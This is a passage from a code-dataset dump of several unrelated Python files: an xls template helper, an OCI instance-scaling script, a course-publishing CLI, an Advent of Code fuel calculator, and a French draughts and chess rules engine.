results.append(Key(room_pk, tag_id, room_id, block_name, sector_name, floor, room_repr))\n    dbm.close_connection(db)\n    return results\n\n\ndef make_template():\n    workbook = xlwt.Workbook()\n    sheet = workbook.add_sheet('kljucevi')\n    for s in range(0, 5):\n        col_name = switch(s)\n        sheet.write(0, s, col_name)\n    file_location = os.path.join(data_store_path, 'data_template.xls')\n    workbook.save(file_location)\n\n\ndef template_exists(file_location=None, filename=None):\n    if None is not filename:\n        file_location = os.path.join(xls_store_path, filename)\n    elif None is file_location:\n        file_location = os.path.join(data_store_path, 'data_template.xls')\n    if not os.path.isfile(file_location):\n        return False\n    else:\n        return True\n\n\ndef get_template(filename=None):\n    if None is not filename:\n        file_location = os.path.join(xls_store_path, filename)\n        return file_location\n    else:\n        if not template_exists():\n            make_template()\n        file_location = os.path.join(data_store_path, 'data_template.xls')\n        return file_location\n","sub_path":"administration/src/services/xls_service.py","file_name":"xls_service.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"420048629","text":"import oci\nfrom oci.core.compute_client import ComputeClient\nfrom oci.core.models import UpdateInstanceDetails\n\n\n# Retrieve data for compute\ndef updatedata():\n    response = computeclient.list_instances(compartment_id=compartment_id).data\n\n    return response\n\n# API calls in functions\n\ndef scale_up(vmscale , name):\n\n    data = updatedata()\n\n    try:\n        instancedetail = {}\n        for r in data:\n            \"\"\"Filter out the json data for instance named bastion only\"\"\"\n            if r.display_name == name:\n\n                instancedetail = r\n\n        update_instance_details = UpdateInstanceDetails()\n        update_instance_details.shape = vmscale\n\n        updatedinstance = computeclient.update_instance(instancedetail.id, update_instance_details)\n\n        response_header = updatedinstance.headers[\"opc-work-request-id\"]\n        workrequest = oci.work_requests.WorkRequestClient(config)\n        waitfor = workrequest.get_work_request(response_header)\n\n        print(\"Request to scaled instance has been submitted.\")\n        print(\"{} will not be available until request is completed.\".format(instancedetail.display_name))\n        oci.wait_until(workrequest, waitfor, 'status', 'SUCCEEDED')\n\n        print(\"Instance has been scaled.\")\n\n    except:\n        print(\"Instance does not exist.\")\n\n\n\ndef list_shapes():\n    data = updatedata()\n    for r in data:\n        print(r.display_name)\n\n# Running the program\nif __name__ == '__main__':\n\n    \"\"\"Change this to the location of your config file\"\"\"\n\n    config = oci.config.from_file(file_location=\"<location of the config file>\")\n    computeclient = ComputeClient(config)\n    compartment_id = config[\"compartment_id\"]\n\n    print(\"Hello user,\")\n    running = True\n    while running:\n\n        print(\"Choose one of the following 3 options.\")\n        print()\n        print(\"Input : Descriptions.\")\n        print()\n        print(\"1 : To scale your compute instance.\")\n        print(\"2 : To list shapes in your compartment.\")\n        print(\"Exit : To quit.\")\n\n        answer = input(\"\")\n        print(\"You have chosen option {}.\".format(answer))\n        # print(answer)\n        if answer == \"1\":\n            print(\"Which vm do you want to scale up to.\")\n            print(\"Input : Descriptions.\")\n            chooses = {\"1\":\"VM.Standard2.1\", \"2\":\"VM.Standard2.2\", \"3\":\"VM.Standard2.4\"}\n            for key in chooses:\n                print(\"{0} : {1}\".format(key, chooses[key]))\n\n            answer = input(\"\")\n\n            if answer not in \"123\":\n                print(\"Please try again\")\n            else:\n                print(\"Input the name of the instance you want to scale up.\")\n                name = input()\n                scale_up(chooses[answer], name)\n\n        elif answer == \"2\":\n            list_shapes()\n\n\n        elif answer.lower() == \"exit\":\n            running = False\n\n        else:\n            print(\"Unknown input: Please try again.\\n\")\n\n        print()\n\n    print(\"Thank you for using the OCI API today, goodbye.\")\n    exit\n","sub_path":"pythonfiles/Labapi.py","file_name":"Labapi.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"3768735","text":"import click\nfrom pathlib import Path\nfrom .api import API\nfrom .workspace import Workspace\n\n@click.group()\ndef cli():\n    \"\"\"The CLI tool to manage courses on Mon School.\n    \"\"\"\n    pass\n\n@cli.command()\n@click.option(\"--course\", \"course_name\", help=\"course to push\")\ndef push(course_name=None):\n    \"\"\"Push the courses to Mon School.\n\n    If no course is specified, all courses are pushed.\n    \"\"\"\n    api = API()\n    w = Workspace()\n    if course_name:\n        names = [course_name]\n    else:\n        names = w.list_courses()\n\n    for name in names:\n        course = w.read_course(name)\n        api.update_course(course)\n\n@cli.command()\n@click.argument(\"filenames\", type=click.Path(exists=True), nargs=-1, required=True)\ndef push_lesson(filenames):\n    \"\"\"Push on or more lessons to Mon School.\n    \"\"\"\n    api = API()\n    w = Workspace()\n    for f in filenames:\n        lesson = w.read_lesson(Path(f))\n        api.update_lesson(lesson)\n\ndef main():\n    cli()","sub_path":"monctl/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"212952544","text":"# Advent of Code 2019, Day 1\r\n# kaleidoscopica\r\n# https://adventofcode.com/2019/day/1\r\n\r\n# Objective: Find the sum of the fuel requirements for all of the modules on the spacecraft\r\n\r\n\r\n# Define the main function\r\ndef main():\r\n\r\n    # Initialize a list to hold the puzzle inputs, read in from file\r\n    fuel_storage = []\r\n    # Initialize a list to hold the fuel totals after calculations\r\n    fuel_totals = []\r\n    # Initialize an integer to hold the sum of fuel requirements\r\n    fuel_sum = 0\r\n    \r\n    # Open the file we've stored our puzzle inputs in\r\n    file = open('1inputs.txt', 'r')\r\n\r\n    # Read the first line from the file\r\n    line = file.readline()\r\n\r\n    # Pass the values from file into our fuel_storage list,\r\n    # as long as an empty string was not returned from readline\r\n    while line != '':\r\n        amount = int(line)\r\n        fuel_storage.append(amount)\r\n        line = file.readline()\r\n\r\n    # Close the file\r\n    file.close()\r\n\r\n    # Call the calculate_fuel function to perform calculations\r\n    calculate_fuel(fuel_storage, fuel_totals)\r\n\r\n    # Iterate through the values the calculate_fuel function stored\r\n    # in fuel_totals, to tally their total as the sum of fuel requirements\r\n    for item in fuel_totals:\r\n        fuel_sum += item\r\n\r\n    # Printing this value shows us the sum of fuel requirements\r\n    # I.e. it's the answer to Day 1, Part 1\r\n    print(fuel_sum)\r\n\r\n\r\n# Defines the calculate_fuel function\r\n# This function calculates the amount of fuel necessary to launch\r\n# a model by taking its mass as input, and performing some operations\r\ndef calculate_fuel(fuel_storage, fuel_totals):\r\n\r\n    # Initialize a variable to store our values in while performing operations\r\n    value = 0\r\n\r\n    # Iterate through the list and perform calculations\r\n    for item in fuel_storage:\r\n        # Perform calculations\r\n        # Divide by 3 and round down\r\n        value = int(item / 3)\r\n\r\n        # Subtract 2 from the previous value\r\n        value -= 2\r\n\t\r\n        # Append fuel value to fuel_totals list\r\n        fuel_totals.append(value)\r\n\r\n\r\n# Call the main function\r\nmain()\r\n","sub_path":"1acode.py","file_name":"1acode.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"389501543","text":"import copy\n\n\nclass Logique:\n\n    \"\"\"\n    Logique des jeux sur damier\n    (Ne peut être utilisé seul)\n    \"\"\"\n\n    PCE_VIDE = 0  # Valeur à mettre sur la grille quand il n'y a pas de pièce\n    BLANC = True  # Valeur correspondant au joueur blanc\n    NOIR = False  # Valeur correspondant au joueur noir\n\n    # Valeurs devant être remplies par une classe héritante\n    CASES_COTE = 0  # Cases de coté\n\n    # Valeur à partir de laquelle sont comprises les pièces blanches\n    DECALAGE_BLANCS = 0\n    # Valeur à partir de laquelle sont comprises les pièces noires\n    DECALAGE_NOIRS = 0\n\n    BLANCS = range(0)  # Intervalle contenant les pièces blanches\n    NOIRS = range(0)  # Intervalle contenant les pièces noires\n\n    def __init__(self):\n        self.grille = []  # Grille de jeu\n        self.cGrille()\n        self.joueur = self.BLANC  # Premier joueur\n        self.partieFinie = False\n        self.victorieux = None\n\n    @staticmethod\n    def eCaseBlanche(x, y):\n        \"\"\"\n        Indique si la case aux coordonnées indiquée est blanche.\n        \"\"\"\n        return x % 2 == y % 2\n\n    def cGrille(self):\n        \"\"\"\n        Crée le tableau self.grille.\n        \"\"\"\n        self.grille = [[self.PCE_VIDE for y in range(self.CASES_COTE)] \\\n            for x in range(self.CASES_COTE)]\n\n    def ePieceBlanche(self, piece):\n        \"\"\"\n        Indique si la pièce est une pièce blanche.\n        \"\"\"\n        return piece in self.BLANCS\n\n    def ePieceNoire(self, piece):\n        \"\"\"\n        Indique si la pièce est une pièce noire.\n        \"\"\"\n        return piece in self.NOIRS\n\n    def ePiece(self, piece):\n        \"\"\"\n        Indique si la pièce donnée est une pièce.\n        \"\"\"\n        # return piece != self.PCE_VIDE\n        return self.ePieceBlanche(piece) or self.ePieceNoire(piece)\n\n    def tPiece(self, piece):\n        \"\"\"\n        Retourne le type de pièce de la pièce donnée.\n        \"\"\"\n        if self.ePieceBlanche(piece):\n            return piece - self.DECALAGE_BLANCS\n        elif self.ePieceNoire(piece):\n            return piece - self.DECALAGE_NOIRS\n        else:\n            return self.PCE_VIDE\n\n    def aSonTour(self, piece):\n        \"\"\"\n        Indique si la pièce donnée a le droit de jouer.\n        \"\"\"\n        return (self.ePieceNoire(piece) and self.joueur == self.NOIR) or \\\n            (self.ePieceBlanche(piece) and self.joueur == self.BLANC)\n\n\nclass LogiqueDames(Logique):\n    \"\"\"\n    Logique du jeu de Dames (International)\n    \"\"\"\n    CASES_COTE = 10\n    RANGEES = 4\n\n    PCE_PION = 1\n    PCE_DAME = 2\n\n    DECALAGE_BLANCS = 0\n    DECALAGE_NOIRS = 10\n\n    BLANCS = range(DECALAGE_BLANCS + PCE_PION, DECALAGE_BLANCS + PCE_DAME + 1)\n    NOIRS = range(DECALAGE_NOIRS + PCE_PION, DECALAGE_NOIRS + PCE_DAME + 1)\n\n    MVT_INCONNU = 'Cause inconnue'\n    MVT_OK = 'Valide'\n    MVT_SAUT = 'Saut'\n    MVT_SELECTION = 'Mauvais tour'\n    MVT_SUR_PLACE = 'Immobile'\n    MVT_N_AUTORISE = 'Non-autorisé'\n    MVT_CASE_BLANCHE = 'Case blanche'\n    MVT_PRISE_ARRIERE = 'Prise arrière'\n    MVT_SAUT_AMI = 'Saut ami'\n    MVT_DEST_OCC = 'Destination occupée'\n    MVT_OBSTRUCTION = 'Pièce en chemin'\n    MVT_SOUFFLER = 'Souffler n\\'est pas jouer'\n    MVT_PIECE_INC = 'Pièce inconnue'\n\n    PRISE_ARRIERE = True\n    DEPL_LONG_DAME = True\n\n    def __init__(self):\n        \"\"\"\n        Constructeur de LogiqueDames\n        \"\"\"\n        Logique.__init__(self)\n        self.remplirGrille()\n        self.rafle = False\n\n    def remplirGrille(self):\n        \"\"\"\n        Remplis la grille avec les pièces nécessaire à une nouvelle partie.\n        \"\"\"\n        for y in range(0, self.RANGEES):\n            for x in range(0, self.CASES_COTE):\n                if not self.eCaseBlanche(x, y):\n                    self.grille[x][y] = self.DECALAGE_NOIRS + self.PCE_PION\n        for y in range(self.CASES_COTE-self.RANGEES, self.CASES_COTE):\n            for x in range(0, self.CASES_COTE):\n                if not self.eCaseBlanche(x, y):\n                    self.grille[x][y] = self.DECALAGE_BLANCS + self.PCE_PION\n\n    def deplPossiblePion(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour un pion.\n        \"\"\"\n        if abs(x2-x1) == 1 and abs(y2-y1) == 1 and not self.rafle:\n            if (self.joueur == self.BLANC and y1 > y2) or (self.joueur == self.NOIR and y1 < y2):\n                return self.MVT_OK\n            else:\n                return self.MVT_N_AUTORISE\n        elif abs(x2-x1) == 2 and abs(y2-y1) == 2:\n            xS = x1+(x2-x1)//2\n            yS = y1+(y2-y1)//2\n            if self.ePiece(self.grille[xS][yS]):\n                if not self.PRISE_ARRIERE and (self.joueur == self.BLANC and y1 < y2) or \\\n                    (self.joueur == self.NOIR and y1 > y2):\n                    return self.MVT_PRISE_ARRIERE\n                if self.aSonTour(self.grille[xS][yS]):\n                    return self.MVT_SAUT_AMI\n                else:\n                    return self.MVT_SAUT\n            else:\n                return self.MVT_N_AUTORISE\n        else:\n            return self.MVT_N_AUTORISE\n\n    def deplPossibleDame(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour une dame.\n        \"\"\"\n        if self.DEPL_LONG_DAME:\n            if abs(x2 - x1) == abs(y2 - y1):\n                sensX = (x2 - x1) // abs(x2 - x1)\n                sensY = (y2 - y1) // abs(y2 - y1)\n                x = x1\n                y = y1\n                dist = 0\n                distTot = abs(x2 - x1)\n                while dist < distTot:\n                    dist += 1\n                    x += sensX\n                    y += sensY\n                    if self.ePiece(self.grille[x][y]):\n                        if dist == distTot - 1 and not self.aSonTour(self.grille[x][y]):\n                            return self.MVT_SAUT\n                        else:\n                            return self.MVT_OBSTRUCTION\n                if self.rafle:\n                    return self.MVT_SOUFFLER\n                else:\n                    return self.MVT_OK\n            else:\n                return self.MVT_N_AUTORISE\n        else:\n            if abs(x2-x1) == 1 and abs(y2-y1) == 1 and not self.rafle:\n                return self.MVT_OK\n            elif abs(x2-x1) == 2 and abs(y2-y1) == 2:\n                xS = x1+(x2-x1)//2\n                yS = y1+(y2-y1)//2\n                if self.ePiece(self.grille[xS][yS]):\n                    if self.aSonTour(self.grille[xS][yS]):\n                        return self.MVT_SAUT_AMI\n                    else:\n                        return self.MVT_SAUT\n                else:\n                    return self.MVT_N_AUTORISE\n            else:\n                return self.MVT_N_AUTORISE\n\n    # TODO Utiliser la gestion d'erreurs de Python ?\n    def deplPossible(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible.\n        \"\"\"\n        piece = self.grille[x1][y1]\n        if self.aSonTour(piece):\n            if x1 != x2 or y1 != y2:\n                if not self.ePiece(self.grille[x2][y2]):\n                    if not self.eCaseBlanche(x2, y2):\n                        tPiece = self.tPiece(piece)\n                        if tPiece == self.PCE_PION:  # Pion\n                            return self.deplPossiblePion(x1, y1, x2, y2)\n                        elif tPiece == self.PCE_DAME:\n                            return self.deplPossibleDame(x1, y1, x2, y2)\n                        else:\n                            return self.MVT_PIECE_INC\n                    else:\n                        return self.MVT_CASE_BLANCHE\n                else:\n                    return self.MVT_DEST_OCC\n            else:\n                return self.MVT_SUR_PLACE\n        else:\n            return self.MVT_SELECTION\n        return self.MVT_INCONNU\n\n    def mvtPossible(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le mouvement est possible.\n        Contrairement aux fonctions de vérification de déplacement, celle-ci\n        vérifie le \"Soufler n'est pas jouer\".\n        \"\"\"\n        test = self.deplPossible(x1, y1, x2, y2)\n        if test == self.MVT_OK:\n            if self.sautEstPossibleTous():\n                return self.MVT_SOUFFLER\n            else:\n                return test\n        else:\n            return test\n\n    def deplsPossibles(self, x1, y1):\n        \"\"\"\n        Donne la liste des déplacements possible pour la pièce donnée.\n        \"\"\"\n        tableau = []\n        for x2 in range(0, self.CASES_COTE):\n            for y2 in range(0, self.CASES_COTE):\n                if self.deplPossible(x1, y1, x2, y2) == self.MVT_OK \\\n                or self.mvtPossible(x1, y1, x2, y2) == self.MVT_SAUT:\n                    tableau.append([x2, y2])\n        return tableau\n\n    def sautsPossibles(self, x1, y1):\n        \"\"\"\n        Donne la liste des mouvements possible pour la pièce donnée.\n        \"\"\"\n        tableau = []\n        for x2 in range(0, self.CASES_COTE):\n            for y2 in range(0, self.CASES_COTE):\n                if self.deplPossible(x1, y1, x2, y2) == self.MVT_SAUT:\n                    tableau.append([x2, y2])\n        return tableau\n\n    def sautEstPossibleTous(self):\n        \"\"\"\n        Indique si le joueur peut faire un saut.\n        \"\"\"\n        for x in range(0, self.CASES_COTE):\n            for y in range(0, self.CASES_COTE):\n                if self.aSonTour(self.grille[x][y]):\n                    if len(self.sautsPossibles(x, y)) > 0:\n                        return True\n        return False\n\n    def mvtsPossibles(self, x1, y1):\n        \"\"\"\n        Donne la liste des mouvements possible pour la pièce donnée.\n        \"\"\"\n        tableau = []\n        for x2 in range(0, self.CASES_COTE):\n            for y2 in range(0, self.CASES_COTE):\n                if self.mvtPossible(x1, y1, x2, y2) == self.MVT_OK \\\n                or self.mvtPossible(x1, y1, x2, y2) == self.MVT_SAUT:\n                    tableau.append([x2, y2])\n        return tableau\n\n    def vPartieFinie(self):\n        \"\"\"\n        Vérifie si le joueur actuel ne peut plus jouer.\n        \"\"\"\n        # Vérifications si aucun mouvement pour aucune pièce n'est possible\n        for x in range(0, self.CASES_COTE):\n            for y in range(0, self.CASES_COTE):\n                if len(self.mvtsPossibles(x, y)) > 0:\n                    return False\n        self.partieFinie = True\n        self.victorieux = not self.joueur\n        return True\n\n    def dPiece(self, x1, y1, x2, y2):\n        \"\"\"\n        Déplace la pièce aux coordonnées 1 données aux coordonnées 2 données.\n        Renvoie les détails du mouvement.\n        \"\"\"\n        test = self.mvtPossible(x1, y1, x2, y2)\n        retour = {\n            'valide': False,\n            'message': test,\n            'ajouter': [], # Pièces à ajouter\n            'deplacer': [],  # Pièces à déplacer\n            'supprimer': [],  # Pièces à supprimer\n        }\n        if test in [self.MVT_OK, self.MVT_SAUT]:\n            if test == self.MVT_SAUT:\n                xS = x2-(x2-x1)//abs(x2-x1)\n                yS = y2-(y2-y1)//abs(y2-y1)\n                self.grille[xS][yS] = self.PCE_VIDE\n                retour['supprimer'].append([xS, yS])\n            retour['valide'] = True\n            retour['deplacer'].append([x1, y1, x2, y2])\n            self.grille[x1][y1], self.grille[x2][y2] = self.PCE_VIDE, self.grille[x1][y1]\n            if test == self.MVT_SAUT and len(self.sautsPossibles(x2, y2)) > 0:\n                self.rafle = True\n            else:\n                self.rafle = False\n                piece = self.grille[x2][y2]\n                if self.tPiece(piece) == self.PCE_PION and ((self.ePieceBlanche(piece) and \\\n                    y2 == 0) or (self.ePieceNoire(piece) and y2 == self.CASES_COTE - 1)):\n                    self.grille[x2][y2] = (self.DECALAGE_BLANCS if self.ePieceBlanche(piece) else \\\n                        self.DECALAGE_NOIRS) + self.PCE_DAME\n                    retour['deplacer'] = []\n                    retour['supprimer'].append([x1, y1])\n                    retour['ajouter'].append([x2, y2, self.grille[x2][y2]])\n                self.joueur = not self.joueur\n            self.vPartieFinie()\n        return retour\n\nclass LogiqueDamesAnglaises(LogiqueDames):\n    \"\"\"\n    Logique du jeu de Dames (Anglaises)\n    \"\"\"\n    CASES_COTE = 8\n    RANGEES = 3\n    PRISE_ARRIERE = False\n    DEPL_LONG_DAME = False\n\n    def __init__(self):\n        \"\"\"\n        Constructeur de LogiqueDamesAnglaises\n        \"\"\"\n        LogiqueDames.__init__(self)\n\nclass LogiqueEchecs(Logique):\n    \"\"\"\n    Logique du jeu d'Échecs\n    \"\"\"\n\n    CASES_COTE = 8  # Cases de coté\n\n    # Type de pièces\n    PCE_PION = 1\n    PCE_TOUR = 2\n    PCE_CAVALIER = 3\n    PCE_FOU = 4\n    PCE_DAME = 5\n    PCE_ROI = 6\n\n    # Valeur à partir de laquelle sont comprises les pièces blanches\n    DECALAGE_BLANCS = 0\n    # Valeur à partir de laquelle sont comprises les pièces noires\n    DECALAGE_NOIRS = 10\n\n    BLANCS = range(DECALAGE_BLANCS + PCE_PION, DECALAGE_BLANCS + PCE_ROI + 1)\n    # Intervalle contenant les pièces blanches\n    NOIRS = range(DECALAGE_NOIRS + PCE_PION, DECALAGE_NOIRS + PCE_ROI + 1)\n    # Intervalle contenant les pièces noires\n\n    # Codes d'erreur de mouvement\n    MVT_INCONNU = 'Cause inconnue'\n    MVT_OK = 'Valide'\n    MVT_ROQUE = 'Roque'\n    MVT_SELECTION = 'Mauvais tour'\n    MVT_SUR_PLACE = 'Immobile'\n    MVT_SAUT_AMI = 'Saut ami'\n    MVT_PIECE_INC = 'Pièce inconnue'\n    MVT_N_AUTORISE = 'Non-autorisé'\n    MVT_OBSTRUCTION = 'Pièce en chemin'\n    MVT_ECHEC = 'Échec au roi'\n\n    def __init__(self):\n        \"\"\"\n        Constructeur de LogiqueEchecs\n        \"\"\"\n        Logique.__init__(self)\n        self.remplirGrille()\n\n    def remplirGrille(self):\n        \"\"\"\n        Remplis la grille avec les pièces nécessaire à une nouvelle partie.\n        \"\"\"\n        speciales = [self.PCE_TOUR, self.PCE_CAVALIER,\n                     self.PCE_FOU, self.PCE_ROI, self.PCE_DAME]\n        speciales += speciales[2::-1]\n        for x in range(0, 8):\n            self.grille[x][0] = self.DECALAGE_NOIRS + speciales[x]\n            self.grille[x][1] = self.DECALAGE_NOIRS + self.PCE_PION\n            self.grille[x][6] = self.DECALAGE_BLANCS + self.PCE_PION\n            self.grille[x][7] = self.DECALAGE_BLANCS + speciales[x]\n\n    def deplPossiblePion(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour un pion.\n        \"\"\"\n        if x1 == x2 and self.grille[x2][y2] <= 0:  # Avance\n            if self.joueur:\n                if y2 == y1 - 1:\n                    return self.MVT_OK\n                elif y1 == 6 and y2 == 4 and self.grille[x1][5] == 0:\n                    return self.MVT_OK\n                else:\n                    return self.MVT_N_AUTORISE\n            else:\n                if y2 == y1 + 1:\n                    return self.MVT_OK\n                elif y1 == 1 and y2 == 3 and self.grille[x1][2] == 0:\n                    return self.MVT_OK\n                else:\n                    return self.MVT_N_AUTORISE\n        elif abs(x1 - x2) == 1:  # Saut\n            if self.joueur:\n                if y2 == y1 - 1 and \\\n                        self.ePieceNoire(self.grille[x2][y2]):\n                    return self.MVT_OK\n                else:\n                    return self.MVT_N_AUTORISE\n            else:\n                if y2 == y1 + 1 and \\\n                        self.ePieceBlanche(self.grille[x2][y2]):\n                    return self.MVT_OK\n                else:\n                    return self.MVT_N_AUTORISE\n        else:\n            return self.MVT_N_AUTORISE\n\n    def deplPossibleTour(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour une tour.\n        \"\"\"\n        if y1 == y2:\n            sens = (x2 - x1) // abs(x2 - x1)\n            for x in range(x1 + sens, x2, sens):\n                if self.ePiece(self.grille[x][y1]):\n                    return self.MVT_OBSTRUCTION\n        elif x1 == x2:\n            sens = (y2 - y1) // abs(y2 - y1)\n            for y in range(y1 + sens, y2, sens):\n                if self.ePiece(self.grille[x1][y]):\n                    return self.MVT_OBSTRUCTION\n        else:\n            return self.MVT_N_AUTORISE\n        return self.MVT_OK\n\n    def deplPossibleFou(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour un fou.\n        \"\"\"\n        if abs(x2 - x1) == abs(y2 - y1):\n            sensX = (x2 - x1) // abs(x2 - x1)\n            sensY = (y2 - y1) // abs(y2 - y1)\n            x = x1\n            y = y1\n            dist = 0\n            distTot = abs(x2 - x1)\n            while dist < distTot:\n                dist += 1\n                x += sensX\n                y += sensY\n                if self.ePiece(self.grille[x][y]):\n                    if dist == distTot:\n                        return self.MVT_OK  # Saut\n                    else:\n                        return self.MVT_OBSTRUCTION\n            return self.MVT_OK  # Vide\n        else:\n            return self.MVT_N_AUTORISE\n\n    def deplPossibleCavalier(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible pour un cavalier.\n        \"\"\"\n        if (abs(x2 - x1) == 2 and abs(y2 - y1) == 1) or (abs(y2 - y1) == 2 and abs(x2 - x1) == 1):\n            return self.MVT_OK\n        else:\n            return self.MVT_N_AUTORISE\n\n    # TODO Utiliser la gestion d'erreurs de Python ?\n    def deplPossible(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le déplacement est possible.\n        \"\"\"\n        piece = self.grille[x1][y1]\n        if self.aSonTour(piece):\n            if x1 != x2 or y1 != y2:\n                if not self.aSonTour(self.grille[x2][y2]):\n                    tPiece = self.tPiece(piece)\n                    if tPiece == self.PCE_PION:  # Pion\n                        return self.deplPossiblePion(x1, y1, x2, y2)\n                    elif tPiece == self.PCE_TOUR:  # Tour\n                        return self.deplPossibleTour(x1, y1, x2, y2)\n                    elif tPiece == self.PCE_CAVALIER:\n                        return self.deplPossibleCavalier(x1, y1, x2, y2)\n                    elif tPiece == self.PCE_FOU:\n                        return self.deplPossibleFou(x1, y1, x2, y2)\n                    elif tPiece == self.PCE_DAME:\n                        tour = self.deplPossibleTour(x1, y1, x2, y2)\n                        fou = self.deplPossibleFou(x1, y1, x2, y2)\n                        if tour == self.MVT_OK or fou == self.MVT_OK:\n                            return self.MVT_OK\n                        elif tour == self.MVT_OBSTRUCTION or fou == self.MVT_OBSTRUCTION:\n                            return self.MVT_OBSTRUCTION\n                        else:\n                            return self.MVT_N_AUTORISE\n                    elif tPiece == self.PCE_ROI:\n                        if abs(x2 - x1) <= 1 and abs(y2 - y1) <= 1:\n                            return self.MVT_OK\n                        else:\n                            return self.MVT_N_AUTORISE\n                    else:\n                        return self.MVT_PIECE_INC\n                else:\n                    return self.MVT_SAUT_AMI\n            else:\n                return self.MVT_SUR_PLACE\n        else:\n            return self.MVT_SELECTION\n        return self.MVT_INCONNU\n\n    def mvtPossible(self, x1, y1, x2, y2):\n        \"\"\"\n        Vérifie si le mouvement est possible.\n        Contrairement aux fonctions de vérification de déplacement, celle-ci\n        vérifie si le mouvement est réalisable si le roi est en échec.\n        \"\"\"\n        test = self.deplPossible(x1, y1, x2, y2)\n        if test == self.MVT_OK:\n            # On copie la partie actuelle pour tester le mouvement et vérifier\n            # l'échec\n            copie = copy.deepcopy(self)\n            copie.dPieceSansEchec(x1, y1, x2, y2)\n            mvtsPossiblesTousAdverses = []\n            # On cherche la position du roi\n            pieceRoi = self.PCE_ROI + \\\n                self.DECALAGE_BLANCS if self.joueur else self.DECALAGE_NOIRS\n            roi = [-1, -1]\n            for x in range(0, self.CASES_COTE):\n                for y in range(0, self.CASES_COTE):\n                    mvtsPossiblesTousAdverses += copie.deplsPossibles(\n                        x, y)\n                    if copie.grille[x][y] == pieceRoi:\n                        roi = [x, y]\n            # Si le roi peut être sauté au tour adverse\n            if roi in mvtsPossiblesTousAdverses:\n                return self.MVT_ECHEC\n            else:\n                return test\n        else:\n            return test\n\n    def deplsPossibles(self, x1, y1):\n        \"\"\"\n        Donne la liste des déplacements possible pour la pièce donnée.\n        \"\"\"\n        tableau = []\n        for x2 in range(0, self.CASES_COTE):\n            for y2 in range(0, self.CASES_COTE):\n                if self.deplPossible(x1, y1, x2, y2) == self.MVT_OK:\n                    tableau.append([x2, y2])\n        return tableau\n\n    def mvtsPossibles(self, x1, y1):\n        \"\"\"\n        Donne la liste des mouvements possible pour la pièce donnée.\n        \"\"\"\n        tableau = []\n        for x2 in range(0, self.CASES_COTE):\n            for y2 in range(0, self.CASES_COTE):\n                if self.mvtPossible(x1, y1, x2, y2) == self.MVT_OK:\n                    tableau.append([x2, y2])\n        return tableau\n\n    def dPieceSansEchec(self, x1, y1, x2, y2):\n        \"\"\"\n        Déplace la pièce aux coordonnées 1 données aux coordonnées 2 données.\n        Ne vérifie pas si le mouvement peut conduire à une prise illégale du roi.\n        (Est utilisé dans pour cette détection)\n        \"\"\"\n        test = self.deplPossible(x1, y1, x2, y2)\n        if test == self.MVT_OK:\n            self.grille[x1][y1], self.grille[x2][\n                y2] = self.PCE_VIDE, self.grille[x1][y1]\n            self.joueur = not self.joueur\n\n    def vEchecMat(self):\n        \"\"\"\n        Vérifie si le joueur actuel est en échec et mat et déclenche\n        éventuellement la victoire\n        (Le \"pat\" est considiéré comme une victoire)\n        \"\"\"\n        # Vérifications si aucun mouvement pour aucune pièce n'est possible\n        for x in range(0, self.CASES_COTE):\n            for y in range(0, self.CASES_COTE):\n                if len(self.mvtsPossibles(x, y)) > 0:\n                    return False\n        self.partieFinie = True\n        self.victorieux = not self.joueur\n        return True\n\n    def dPiece(self, x1, y1, x2, y2):\n        \"\"\"\n        Déplace la pièce aux coordonnées 1 données aux coordonnées 2 données.\n        Renvoie les détails du mouvement.\n        \"\"\"\n        test = self.mvtPossible(x1, y1, x2, y2)\n        retour = {\n            'valide': False,\n            'message': test,\n            'ajouter': [],  # Pièces à ajouter\n            'deplacer': [],  # Pièces à déplacer\n            'supprimer': [],  # Pièces à supprimer\n        }\n        if test == self.MVT_OK:\n            retour['valide'] = True\n            if self.ePiece(self.grille[x2][y2]):\n                retour['supprimer'].append([x2, y2])\n            retour['deplacer'].append([x1, y1, x2, y2])\n            self.grille[x1][y1], self.grille[x2][\n                y2] = self.PCE_VIDE, self.grille[x1][y1]\n            self.joueur = not self.joueur\n            self.vEchecMat()\n        return retour\n","sub_path":"S1/Echecs/logique.py","file_name":"logique.py","file_ext":"py","file_size_in_byte":23355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
